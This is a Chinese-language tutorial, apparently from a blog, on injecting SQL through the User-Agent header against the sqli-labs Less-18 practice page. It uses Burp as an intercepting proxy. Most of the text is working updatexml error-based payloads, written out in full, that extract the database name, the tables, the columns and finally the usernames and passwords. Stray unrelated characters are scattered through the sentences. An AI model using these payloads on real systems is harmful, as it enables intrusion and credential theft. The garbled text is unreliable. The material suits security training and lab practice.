useragent 攻擊
很多網(wǎng)站都會記錄用戶的useragent, 這就為注入提供了條件哈街。
工具
FireFox + Burp 或Firefox+hackbar插件留瞳。
Burp 是一個修改、重發(fā)Http請求的利器骚秦。她倘。。
其原理是設置電腦的或瀏覽器的代理為127.0.0.1:8080作箍,而Burp在這個地址監(jiān)聽硬梁,這樣瀏覽器就會先將
請求發(fā)送到這個地址,Burp可以選擇修改后胞得,再轉(zhuǎn)發(fā)出去荧止。達到hack的目的。
步驟
POST /sqli/Less-18/ HTTP/1.1
Host: www.any.com
User-Agent: 122' or updatexml(1,concat(0x7e,(database())),0) or '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.any.com/sqli/Less-18/
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
uname=admin&passwd=admin&submit=Submit
結(jié)果暴露了數(shù)據(jù)庫名阶剑。
可以看到方法和SQL注入或Cookie沒太多不同跃巡,只是注入點不相同。
獲取數(shù)據(jù)庫表
User-Agent值設置為
123' or updatexml(0,concat(0x7e,(select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='security')),0) or '
獲取字段
User-Agent值設置為
123' or updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' )),0) or '
獲取用戶信息
User-Agent值設置為
123' or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from security.users )),0) or '